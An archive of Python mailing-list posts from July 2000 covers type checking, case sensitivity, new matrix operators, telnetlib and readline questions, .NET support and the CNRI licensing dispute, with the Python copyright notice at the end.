having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From hopper at omnifarious.mn.org  Tue Jul 18 19:51:55 2000
From: hopper at omnifarious.mn.org (Eric Hopper)
Date: Tue, 18 Jul 2000 17:51:55 -0600
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <fRZc5.1487$6E.293353@ptah.visi.com> <3974C185.E39E082E@prescod.net>
Message-ID: <fc5d5.1589$6E.308551@ptah.visi.com>

In article <3974C185.E39E082E at prescod.net>, Paul Prescod
<paul at prescod.net> wrote:
> Eric Hopper wrote:
>> 
>> ...
>> 
>> Oh, yes.  Inheritance by mysteriously coiniciding method names.  How
>> fun.
> 
> It has nothing to do with inheritance. We are discussing genericity, not
> inheritance. Some languages can only do genericity through inheritance
> but this is rare in modern languages.

OK, genericity.  I call generic programming 'inheritance for the lazy'. 
It's the thing I most dislike about STL.  No requirement at all the you
specify your interface anywhere, or make a statement about your class
conforming to it.  It just mysteriously calls these methods that have
these special names and hopes for the best.

Of the modern languages, the one I can think of right offhand is Java. 
And that's something I actually like about it.

> It is not a big deal. You aren't the first person to write a large
> project in Python. You are of course free to do what you want but I'll
> caution you that paranoid type checking is typically a phase that Python
> programmers go through. 
> 
> You'll notice that the standard library does not use type checking
> functions in most places. In a lot of ways the error messages are *less
> confusing*. When I get an error message: "read method not defined" then
> I know I need to define a "read" method.

	So, what class do you need to define a read method for?  Where did that
object get passed in?  What if the read method is only called in some odd
circumstance that manages to excape anyone's notice for years?

> This is better than having a hideously complex type inheritance
> hierarchy in order to enforce nothing more than that the object needs a
> read method. That way lies madness:
> 
> http://java.sun.com/products/jdk/1.1/docs/api/Package-java.io.html

This doesn't look too bad, though I think it's a little ill-designed.

> Type checking is the most major difference between Java and Python. If I
> liked everything about Java except its dynamic typing (which is, IMO,
> its best feature) I would just use Java like everyone else.
> Nevertheless, if you prefer Python with roll-your-own type checking to
> Java, more power to you. It's a big tent.

I prefer almost anything to Java because you can't get a standard Java
implementation anywhere.  Sun's got the standard all locked up.

I also dislike the incredibly heavy runtime environment that Java comes
with, and the fact that it's missing any I/O multiplexing mechanism, and
so you're forced to have threads.  Have you ever tried to write something
that dealt with 500 clients using a reader and writer thread for each?  I
thought not.

Anyway, this isn't a Java bashing forum.  :-)

--
Eric Hopper (hopper at omnifarious.mn.org)  (http://www.omnifarious.org/~hopper)



From olivierS.dagenaisP at canadaA.comM.bbs  Sat Jul 15 00:40:02 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 15 Jul 2000 04:40:02 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bPKc2$mjh@openbazaar.net>

As a VB freak (or ex-thereof), I need to point out that the VB IDE will
attempt to make all variables and keywords use the same case.  So, for
example, "if" is always 'converted' as "If" and if you declare a variable as
such:

Dim m_Spam As Long

(which, BTW, the IDE would have 'fixed' the words 'Dim', 'As' and 'Long')

and then you need to refer to m_Spam, you can type it without any capitals,
and when you move the cursor to another line, the IDE will look up the
declaration and match the case of the new instance of the variable with that
of the declaration... For example, I type:

m_spam = M_SPAM + 42  <ENTER>

and it becomes:

m_Spam = m_Spam + 42

...which keeps the readability.  (doesn't it?)  Also, now that I have this
line of code, if I go back to the declaration and change 'm_Spam' to
'm_SpAm', all the references 'm_Spam' will now read 'm_SpAm'...

So, I can't say that I agree with you when you say that forcing the user to
type the name correctly will improve readability, especially in the case of
Pyton when a mis-typed variable name results in a new binding being created,
and not a compile-time error, like in C.  I once read an "article" (more
like a joke) on how to write really bad (obfuscated) C code, and one of the
"tips" was to mix the cases of the letters making up variable names....

If you have a pre-processor or a powerful IDE (more like a compiler built
into an IDE), you can achieve readability that is customized to the person
reading and making a change in the "readability" of a name does not require
doing a [case-sensitive] find/replace.

Let the user have only to remember the sequence of characters and let the
computer find out (in a previous declaration or usage) how they should be
capitalized.

I love Python.  I hope case sensitivity doesn't stay around for too long.
All it *really* allows you to have is something like a previous post, where
a file requires a close method with a small C and for a DB connection, a
close method with a capital C:

aFile.close()
aConnection.Close()

...which just seems pretty silly to me, especially if you're someone trying
to use code from two different sources, and they have adopt similar
conventions, except the case is different.  People just don't think like
computers:  'a' and 'A' are the same letter, and you bring up a good example
in your last paragaph...

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Anders Eggers-Krag" <aek at aek.dk> wrote in message
news:jbPb5.1245$bb.28195 at news101.telia.com...
> I would say that it improves syntax consequense, leading to more readable
> code
> for others, you are never in doubt about what to look for when looking for
a
> keyword,
>
> in VB you might look for IF, If or if, and they look very different, and
it
> becomes a lot harder
> to read somebody elses code.
>
> the case insensitivity is nice when I am the only one to read my code as I
> could then choose my
> own obscure notation such as mYmetOd() and keep it consequent writing dEf,
> claSs, If eTc.
> wheras case sensitivity makes it more natural to keep a more sensitive
> manner such as myMethod()
> MyMethod() or my_method() throughout that everyone can agree on, I believe
> that case sensitivity
> leads to more uniform code, that again makes it easier to read your
> collegues code. And i think it should
> seem natural to everyone, after all books are written in case sensitive...
> you can't write: "i Am the wisEst
> One of aLl." and be taken seriously
>
> But it depends on which kind of access is needed to the system ie it would
> be dreadfull if DNS
> or SMTP servers were case sensitive and  user enters MicroSoft.com and
gets
> nowhere because
> he should have written microsoft.com.
>
>
> --
> Anders Eggers - Krag
>
>
> "Peter Timaratz" <timaratz at lisco.com> wrote in message
> news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> > I can't think of any advantages to a case sensitive language. Python is
a
> > very well-designed language though, so I imagine there is a good reason
> that
> > it is case sensitive. So what are the advantages of a case sensitive
> > language?
> >
> >
>
>


From grey at despair.rpglink.com  Fri Jul 28 11:42:01 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 15:42:01 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <Ja8g5.18900$ga2.508345@newsread2.prod.itd.earthlink.net> <slrn8o25nr.e7.grey@teleute.rpglink.com> <8ls1bb017he@news2.newsguy.com>
Message-ID: <slrn8o3aa6.3ok.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 15:16:29 +0200, Alex Martelli <alex at magenta.com> wrote:
>Right, make it a list.  I.e., instead of
>    a=None
>start out with
>    a=[]
>and you're done.  What's hard about this?

    And if a can also be a string?

>Clumsy!  Just set a=[] once, outside of the loop -- how much easier can it
>get?

    Uhm, if you need to ask that, then you haven't read this thread.  ;)

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From wware at world.std.com  Mon Jul 31 14:44:39 2000
From: wware at world.std.com (Will Ware)
Date: Mon, 31 Jul 2000 18:44:39 GMT
Subject: [4th Draft] Open Letter to CNRI: Request for clarification
References: <3985969C.48222D21@nowonder.de>
Message-ID: <FyKs2H.DKo@world.std.com>

You can add my name to the signature list whether or not you take my
suggestions. The later drafts are big improvements, primarily in toning
down the emotional language of the first draft. Here are some thoughts
on this matter. For reference, CNRI's home page is
http://www.cnri.reston.va.us/

1. CNRI legally owns Python, up to version 1.6. You and I don't have
any legal rights of any kind in this matter. The user community does
not collectively have any legal rights in this matter. We are extremely
dependent upon CNRI's good will.

2. CNRI does not need the existing Python user community. But it
sounds like they may have future plans for Python. We don't know what
those plans are, but CNRI would probably benefit from a cooperative
friendly rapport with the user community, given the amount of
expertise floating around out here. CNRI may not yet be aware of the
size and quality of the user community, so they may be inclined to
dismiss the benefits of cooperation.

3. No matter what, we should not alienate or bash CNRI. It's easy to
imagine that every large organization with lawyers is another
Microsoft, but we only hurt ourselves by establishing an atmosphere of
mistrust or suspicion.

4. CNRI may wish to keep secrets, for business reasons or any other
reason, and they are under no obligation to disclose those reasons to
the user community. This is standard business practice throughout the
world. There is nothing to be gained by complaining to them about it.

> We are especially interested in the underlying intention of this
> change. So we request a plain-English, non-legalese statement
> regarding the purpose of that change and the ways in which it
> affects Python's use.

I see what you're looking for here, and agree that if CNRI discloses
(at least partially) their thoughts and plans for Python, it would be
a huge step to establishing a cooperative rapport with the community.
I'm concerned about the phrase "underlying intention", which hints
that you think CNRI is currently being sneaky and hiding something
from the user community. You might want to use a phrase like "overall
intent", or simply "intent".

If CNRI is not yet aware of the benefits of cooperating with the user
community, then the best thing to accomplish with this sort of letter
is to initiate that cooperation yourself.

Remember, you are asking CNRI to do things that they have no legal
obligation or business reason to do. You want to be as polite about
all this as possible. They don't owe you or me or the user community
anything.
-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From cjensen at bioeng.ucsd.edu  Sat Jul  8 19:32:08 2000
From: cjensen at bioeng.ucsd.edu (Curtis Jensen)
Date: Sat, 08 Jul 2000 16:32:08 -0700
Subject: Getting ip address and browser info
Message-ID: <3967B9F8.1694E2F3@bioeng.ucsd.edu>

Using python CGI how can I get the ip address and browser info of the
requestion party?  Thanks.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451


From db3l at fitlinxx.com  Wed Jul  5 22:36:40 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 05 Jul 2000 22:36:40 -0400
Subject: Hello Word in CGI
References: <3963C29E.76211EB7@bioeng.ucsd.edu> <3QR85.42743$W35.928737@news20.bellglobal.com>
Message-ID: <un1jwdlxj.fsf@ctwd0143.fitlinxx.com>

"Olivier Dagenais" <olivierS.dagenaisP at canadaA.comM> writes:

> > print "<P>This is San Diego.<br>Localtime is", ctime( time() ) + ".<P>"
> 
> Are you sure you can concatenate a string to a time?

The ctime() function in the time module returns a string, so it should
be fine.  The mixture of arguments to print (resulting in an
intervening space) and concatenation (which won't) is something I'd
probably replace with a single method of handling the values - e.g.:

    print "<P>This is San Diego.<br>Localtime is %s.<P>" % ctime(time())

might be a touch more readable - but I suppose that's subjective.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From tim.hochberg at ieee.org  Fri Jul 21 22:53:52 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Sat, 22 Jul 2000 02:53:52 GMT
Subject: Discussion: new math operators
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <slrn8nhu0m.qn.hzhu@rocket.knowledgetrack.com> <Kp7e5.8550$4p3.62759@news-server.bigpond.net.au>
Message-ID: <m2u2djlydp.fsf@spiff.home.com>

"Neil Hodgson" <neilh at scintilla.org> writes:

>    As one of the more reactionary Pythoneers with regard to syntax changes
> and as someone who is unlikely to ever need to use the new operators, I say
> the braced operators are the best.
> 
>    The .* style operators merge with the surrounding expression in a way
> that leads to me confusing whether they are interpreted with their normal
> meaning. The braced operator sequences like (*) merge together into one
> visual entity. When encountered by someone for the first time, its fairly
> obvious that they mean something new and not just a weird way of spelling a
> current operation.
> 
>    The braced operators give a reasonable basis for future expansion
> although it looks like you have used up all the best ones already. If this
> is going to be used for future expansion, I'd like to see precedence looked
> at closely now with all braced operators at lowest precedence.
> 
>    It may help to write a short demonstration script that intensively uses
> matrix operations to show what code based on these proposals will look like.

I agree. When I try to channel to the general Python user base on this
issue (a dubious undertaking at best), I see @* operators coming in
last, hands down (line noise, P***like), .* and (*) are much closer,
but I see (*) coming out ahead due to the reasons that Neil mentions
above.

However, the fact that this result matches my preferences, while
Huaiyu believes the reaction would be the opposite, in line with what
seems to be his preferences is probably no accident. It's be easy to
check though: as Neil suggests, we should write up the example scripts
and then we could solicit opinions from the general python users as
well as the numeric crowd.

-tim


From stephen at cerebralmaelstrom.com  Sun Jul 16 02:30:48 2000
From: stephen at cerebralmaelstrom.com (Stephen Hansen)
Date: Sun, 16 Jul 2000 06:30:48 GMT
Subject: mxTextTools Question, Number 2 :)
Message-ID: <sEcc5.8205$lS2.101887@typhoon.we.rr.com>

    Okay. I've hit a snag. :) My prior question was on a 'better way', but
with this one, i'm not sure if its even possible, exactly...

Given a string: "This that"

I want to capture everything up until the whitespace, so:

('Text',AllNotIn,whitespace)

...works, I suspose... but, here's the harder part. I want to ignore that
whitespace as delimiter if the next character is a special

So, "This &that" would end up capturing "This that".

For the life of me I can't even fathom how to do the above! Well, I have a
vague conception of what needs to be done but can't get it down on
paper(Y'know what I mean. :))

Note that "This &that &are &very &nice &things" would end up with "This and
that are very nice things"

Thanks for any help anyone has. :)

--Stephen




From thomas at xs4all.net  Thu Jul  6 09:53:20 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 6 Jul 2000 15:53:20 +0200
Subject: getattr and setattr
In-Reply-To: <8k1vqo$3e9$1@supernews.com>; from dale@out-think.NOSPAMco.uk on Thu, Jul 06, 2000 at 01:58:45PM +0100
References: <8k1vqo$3e9$1@supernews.com>
Message-ID: <20000706155320.A25064@xs4all.nl>

On Thu, Jul 06, 2000 at 01:58:45PM +0100, Dale Strickland-Clark wrote:

> I'm still trying to get to grips with object programming in Python and
> finding decent documentation unbelievably hard to track down.

Hm, I've never needed much more than the documentation on www.python.org:
the tutorial at first, then the language ref and the library ref ;)
The only parts lacking in there are Tkinter, and some modules which aren't
documented yet.

> I eagerly set about the tutorial but found it was  lacking in - well - just
> about every department.

The tutorial is more of an intro than a comprehensive educational track. Try
the Language Reference or the Library Reference. If you don't care for the
dull reference-style writing, try something like Learning Python, by
O'Reilly, or one of the other online tutorials available (sorry, no URLs ;P)

> I can't find any meat on __getattr__ and __setattr__.
> These two special object functions don't seem to be very well documented
> anywhere. (Please prove me wrong!)

The language reference, section 3.3, 'Special Method Names':
http://www.python.org/doc/ref/specialnames.html. To be more specific,
section 3.3.2, 'Customizing attribute access'. 

> I can see how to handle a special case in __getattr__ with something like:

> class wibble
>         def __getattr__(name):
>                 if name == 'fred':
>                         return 1
>                 else:
>                         # what?

> But what if it's not the special case(s). How do I return an arbitrary
> attribute? Do I do something like:

__getattr__ is only called if the attribute does *not* exist on the object.
The reason is fairly simple: if it was called for every lookup, __getattr__
itself could never be looked up !

If you decide, in your __getatr__, that an attribute shouldn't exist, you
should raise AttributeError. Don't do something like 'return 0' or you'll
confuse all kinds of internal mechanisms, like those that lookup special
method names ;)

__setattr__, however, is called for every attempt at storing a value in an
attribute, wether it exists or not. If you use __setattr__ and want to
alter an attribute, you shouldn't do the obvious ! If you assign from inside
__setattr__, __setattr__ is called again. Instead, you should modify
self.__dict__.

Section 3.3.2 explains all this, but in a bit less (and different ;) words.
-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From jtoy at tcgfinancial.com  Wed Jul 26 14:14:17 2000
From: jtoy at tcgfinancial.com (jtoy)
Date: Wed, 26 Jul 2000 14:14:17 -0400
Subject: problems with telnetlib
Message-ID: <397F2A79.8B066DD3@tcgfinancial.com>

I have tried several sample scripts including the oses at python.org,
but I can't get any of the scripts to work properly.  I have Python
1.5.2 on Linux 2.2.15.  All I want to do is write a script that telnets
into a machine and executes '/etc/email'.  I can safely get up to the
password prompt with:

from telnetlib import Telnet
tn = Telnet('192.168.0.254')
tn.read_until('login: ')
tn.write('someuser\n')
tn.read_until('password: ')
tn.write('password\n')
tn.read_until('$ ')

then I get error in line 224 read_very_lazy and in 300 read_very_lazy
My exact login prompt after a normail telnetsession is:
[user at localnet user]$
So reading until '$' should be write.  Also, after I type
tn.read_until('password: '), thr python prompt freezes for 30 seconds
but continues normally after, why is this?



--
Jason Toy
toyboy at toy.eyep.net
jtoy at tcgfinancial.com
http://toy.eyep.net




From dgoodger at bigfoot.com  Sun Jul 30 01:16:20 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sun, 30 Jul 2000 01:16:20 -0400
Subject: Newbie question regarding .readline()
In-Reply-To: <jgb7osc2h934jp1njta20tolf0n5lor5k8@4ax.com>
References: <jgb7osc2h934jp1njta20tolf0n5lor5k8@4ax.com>
Message-ID: <B5A93263.6CE1%dgoodger@bigfoot.com>

on 2000-07-30 00:33, jim roush (jar at mminternet.com) wrote:
> the problem is, line is only one character instead of an entire line.
> I used those print statements to verify this.  It's as if I used
> .read() instead.  If I use .readlines() instead, it reads multiple
> lines like it should.
> 
> What gives?

When you use .readline(), it returns a single string, which can be
interpreted as a sequence of 1-character strings. So "for line in
PK_INFILE.readline()" gives you one character at a time from a single line
(the first line only). Use "for line in PK_INFILE.readlines()" instead.
Doing "for line in PK_INFILE.read()" would loop one character at a time, as
in .readline(), except that it wouldn't stop at the end of the first line.

Try putting your print statements outside the loop, with each of .read(),
.readline(), and .readlines(), to see how they differ. ie:

    lines = PK_INFILE.readline()
    print lines
    for line in lines:
        etc.

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From paul.robinson at quantisci.co.uk  Wed Jul  5 10:52:47 2000
From: paul.robinson at quantisci.co.uk (Paul Robinson)
Date: Wed, 05 Jul 2000 15:52:47 +0100
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com> <u7lb07is1.fsf@foreignkey.com>
Message-ID: <39634BBF.5EFFC493@quantisci.co.uk>

Paul Jensen wrote:
> I wanted to include a reference to the "%" operator in the online
> docs, but interestingly couldn't find one. Anyone know offhand where
> "%" is covered in the docs?

http://www.python.org/doc/current/lib/typesseq-strings.html#SECTION004151000000000000000
[Thats library reference - 2.1.5.1 More String Operations]

...although if you didn't know what an "sprintf() format string" was
then the probability of understanding this particular section is low.

	Paul

-----------------------------------
Business Collaborator Team
Enviros Software Solutions
http://www.businesscollaborator.com
-----------------------------------



From hinsen at cnrs-orleans.fr  Mon Jul 24 11:07:52 2000
From: hinsen at cnrs-orleans.fr (Konrad Hinsen)
Date: 24 Jul 2000 17:07:52 +0200
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m3n1j73iuz.fsf@chinon.cnrs-orleans.fr> <ZP29QXALhCf5EwmX@jessikat.fsnet.co.uk>
Message-ID: <m3k8eb36t3.fsf@chinon.cnrs-orleans.fr>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> outer products (of vectors at least) are inner products with the second
> vector being transposed. There is of course a general tensor notation,

I think I understand what you mean, but then this statement is only
true if you make a number of assumptions about vector representations
and array matching rules, some of which are not true in NumPy.

There are two schools of vector/matrix representations:

1) Vectors are rank-1 arrays, matrices are rank-2 arrays.
   Consequence: the transpose of a vector is the same vector.
   This is the approach used in NumPy as well as in APL and some
   other array languages.

2) Vectors exist in two varieties, "row" and "column" vectors.
   Row vectors are matrices with one row, and column vectors are
   matrices with one column. The transpose of a row vector is a
   column vector and vice versa.
   This is the approach used in MatLab, but not in NumPy.
   Of course any NumPy user is free to use Nx1 and 1xN-matrices
   to represent vectors, but this requires a lot of effort, because
   all vector-generating functions return rank-1 arrays.

Your statement only makes sense in the second framework.

> One thing I personally find very strange is that very few in this thread
> seem to want to make the default multiplication operation * into the
> default matrix multiply. I suppose early language designers have decided
> this for all time so all choose the unusual element wise operation.

The point is simply that NumPy uses this definition. Changing this would
mean facing the opposition of all those who have significant amounts
of NumPy code, and then there is probably no one left in favor of
the operator proposition.
-- 
-------------------------------------------------------------------------------
Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From cozald at hotmail.com  Wed Jul 26 14:07:29 2000
From: cozald at hotmail.com (OC)
Date: Wed, 26 Jul 2000 11:07:29 -0700
Subject: HELP!! system calls?
Message-ID: <8lna31$hv8$1@nntp.itservices.ubc.ca>

Hello People,

I have a question about sys calls.  I am trying to call a tcl script with
the following command:

os.system('tclsh80 file.tcl')  and it gives me a permission denied error...

I checked my files permission (I am using winNT) and they are fine.

Anyone know why, or is there a better way to do it?

I will greatly appreciate your help.
Thanks in advance,
Os




From stuart at forddata.com  Mon Jul 31 16:07:18 2000
From: stuart at forddata.com (Stuart Ford)
Date: Mon, 31 Jul 2000 15:07:18 -0500
Subject: [5th Draft] Open Letter to CNRI: Request for clarification
References: <3985D797.E5D2FC08@nowonder.de> <8m4kmu$1eq$1@kopp.stud.ntnu.no>
Message-ID: <004601bffb2a$ef9179f0$788b18ac@boeckh.com>

Sorry about the ME2 type message.....


Could you please include me in the list to CNRI?

I have spent the last 15 months trying to convince my company that Python is
not only a viable solution for prototyping, but also a good language for
general
development.

Any change in the license that changes our ability to release products using
Python will set all my hard work back to stage one, plus make me look the
fool for recomending the language in the first place.


Stuart Ford
Programmer/Analyst
E.H. Boeckh Corporation






From Cedric.Lefeuvre at tcomhp43.epfl.ch  Wed Jul 26 04:39:39 2000
From: Cedric.Lefeuvre at tcomhp43.epfl.ch (Cedric Lefeuvre)
Date: Wed, 26 Jul 2000 10:39:39 +0200
Subject: Radio Button group
Message-ID: <397EA3CB.80316D6C@tcomhp43.epfl.ch>

Is there someone who is able to 
create a radio button group with gtk


-- 
C?dric Lefeuvre
SUPAERO 2A-Stagiaire EPFL
0041 (0)21 693 26 16
http://eleves.supaero.fr/page-perso/promo_01/lefeuvre/
Fax: 0041 (0)21 693 26 83
 _ _ _/_  _
( (-(// /(


From david_ullrich at my-deja.com  Fri Jul 21 11:33:12 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Fri, 21 Jul 2000 15:33:12 GMT
Subject: Trouble when overloading operator[ ]
References: <8l720o$lr4$1@nnrp1.deja.com> <8l76hm$pm9$1@nnrp1.deja.com> <LBGd5.1837$6E.377728@ptah.visi.com>
Message-ID: <8l9qfp$gc6$1@nnrp1.deja.com>

In article <LBGd5.1837$6E.377728 at ptah.visi.com>,
  ge at nowhere.none (Grant Edwards) wrote:
> In article <8l76hm$pm9$1 at nnrp1.deja.com>, david_ullrich at my-deja.com
wrote:
>
> >   You can use the notation [2,3] to accomplish the same
> >thing: it appears that if you use multiple indices they
> >get passed as a tuple to __getitem__:
>
> You're not using multiple indices.
>
> You're using a single index whose value is the expression 2,3.
> The expression 2,3 evaluates to a tuple, which is passed to
> _getitem__, just as would the value of any other expression
> used as an index.

  Ok, then I should revise what I said: You can use the
notation [2,3] to accomplish the same thing.

  No doubt you're exactly right. But evidently there's a
difference between [] indices and function parameters here:

def hmm(x):
	return x

print hmm(2,3)

gives an error (hence my suspicion that someone might
expect whatever[2,3] to give an error without trying it...)

  Why is "2,3" a single expression in whatever[2,3]
but not in hmm(2,3)?

> --
> Grant Edwards                   grante             Yow!  My Aunt
MAUREEN was
>                                   at               a military advisor
to IKE &
>                                visi.com            TINA TURNER!!
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From nobody at nowhere.nohow  Sun Jul 30 22:04:52 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Mon, 31 Jul 2000 02:04:52 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com> <39846ECC.DF5FE175@san.rr.com> <slrn8o92u3.171.nobody@isis.visi.com> <39848FFE.948BF635@san.rr.com>
Message-ID: <slrn8o9nm4.a10.nobody@isis.visi.com>

In article <39848FFE.948BF635 at san.rr.com>, Courageous wrote:

>> I'm sorry, but I have no idea if you're agreeing or disagreeing with me.
>> Are you claiming that in real life the operations you can perform on/with a
>> physical object are not determined by the type of the object?
>
>Not at all. I'm claiming that using real life operations was itself a
>framing of the problem which isn't at all correct.

Why not?

>I'd argue that referring to a python variable as an arbitrary label to any
>object is something which is quite intuitive to the novice programmer.

OK.

>These same novices will also intuitively understand that, in the situation
>where the label is currently labelling an object of a particular type,
>certain operations are inappropriate for that object. Which is exactly how
>python behaves.

I was pointing out that that is also how real-life physical objects behave,
and you said (I thought) that "while I can't prove it, I do believe it's
wrong." What is it you believe is wrong?

-- 
Grant Edwards                   grante             Yow!  ... I don't like
                                  at               FRANK SINATRA or his
                               visi.com            CHILDREN.


From rumjuggler at cryptarchy.org  Sun Jul 23 15:24:37 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sun, 23 Jul 2000 19:24:37 GMT
Subject: Looping on more than one list
References: <3979C6F4.B1FF1800@atlsci.com> <8ldkf7$7km$1@nntp9.atl.mindspring.net> <397A616E.A9549B93@san.rr.com> <397B00F8.112E7A8D@prescod.net>
Message-ID: <ruhmns4gvmaoe0mcb2ou0q51j7365k7cei@4ax.com>

On Sun, 23 Jul 2000 09:28:08 -0500, Paul Prescod <paul at prescod.net> wrote:

>Courageous wrote:
>> 
>> ...
>> Perhaps this should be folded into the map function?
>> Ala, lisp:
>> 
>> (map nil #'(lambda (i j) ...) list-one list-two)
>
>It's part of the map function now. But nobody without a Lisp background
>would think to look there.

Or at least no one without a Lisp background who also didn't read the
tutorial.

-- 
Barnabas T. Rumjuggler

Go, malign?d spread,
Seek thy glory upon bread:
Marmite, thus to fame!
 -- John Larkin, in apihna


From MarkH at ActiveState.com  Wed Jul 26 20:10:18 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 27 Jul 2000 00:10:18 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <gVzf5.12683$4p3.97772@news-server.bigpond.net.au> <397EDA34.9CFF2BF2@hursley.ibm.com>
Message-ID: <K5Lf5.12954$4p3.101126@news-server.bigpond.net.au>

"Paul Duffin" <pduffin at hursley.ibm.com> wrote in message
news:397EDA34.9CFF2BF2 at hursley.ibm.com...

> How likely do you consider the possibility that Microsoft will change
> the IL to allow the non-MS languages to be fully supported ?
>
> Unless the probability is VERY high

Better than "VERY high" - they have already done it.  MS have been
_excellent_ at listening to 3rd party language feedback.  For example, the
functional language guys are very impressed that MS managed to get tail
recursion instructions in the VM, in time for the PDC.  No current or
future MS languages have this requirement, and not even any of the
(expected to be successful) commercial languages - it was done exclusively
for the "little languages".

To be quite honest, I have been constantly amazed at the effort MS are
putting into 3rd party languages.  It is more than mere hand-waving.

> what is the point of doing this
> at all as you would end up with a versions of the language which were
> not compatible with the other versions.

What is the point in making assumptions and statements like this?  Try
finding some facts before you attempt to invent more "evil empire
evidence" to support your conspiracy theories.

But to address your point:  JPython is _not_ a perfect emulation of
CPython, but it does allow you entry to the Java playground.  Python .NET
is similar - I don't expect anyone will use it when they want to work in
an exclusively Python environment, just like almost no one uses JPython in
that way now...

Mark.




From paul.magwene at yale.edu  Fri Jul 28 05:07:53 2000
From: paul.magwene at yale.edu (Paul Magwene)
Date: Fri, 28 Jul 2000 05:07:53 -0400
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCMEHNGMAA.tim_one@email.msn.com> <slrn8o28s2.l2n.stianh@localhost.localdomain>
Message-ID: <39814D69.ADD4FF0@yale.edu>

Stian Husemoen wrote:
> 
> Tim Peters wrote:
> >The old Python license served it very well for a decade.
> 
> It served CNRI very well.. as it made it possible for them to grab a hold of
> everyones contribution and make it their own property.
> 
> The hole driving force of a open source project is that people feel they own
> a part of the code. If that's taken away, people will stop working on the
> project.
> 
> --
> 
> Stian Husemoen <stianh>

Did you bother to read the license before posting that?  Sounds pretty
BSDish too me.  God forbid I have to include a copyright notice!

--Paul


Copyright notice
================

The Python source is copyrighted, but you can freely use and copy it
as long as you don't change or remove the copyright notice:

----------------------------------------------------------------------
Copyright 1991-1995 by Stichting Mathematisch Centrum, Amsterdam,
The Netherlands.

                        All Rights Reserved

Permission to use, copy, modify, and distribute this software and its
documentation for any purpose and without fee is hereby granted,
provided that the above copyright notice appear in all copies and that
both that copyright notice and this permission notice appear in
supporting documentation, and that the names of Stichting Mathematisch
Centrum or CWI or Corporation for National Research Initiatives or
CNRI not be used in advertising or publicity pertaining to
distribution of the software without specific, written prior
permission.

While CWI is the initial source for this software, a modified version
is made available by the Corporation for National Research Initiatives
(CNRI) at the Internet address ftp://ftp.python.org.

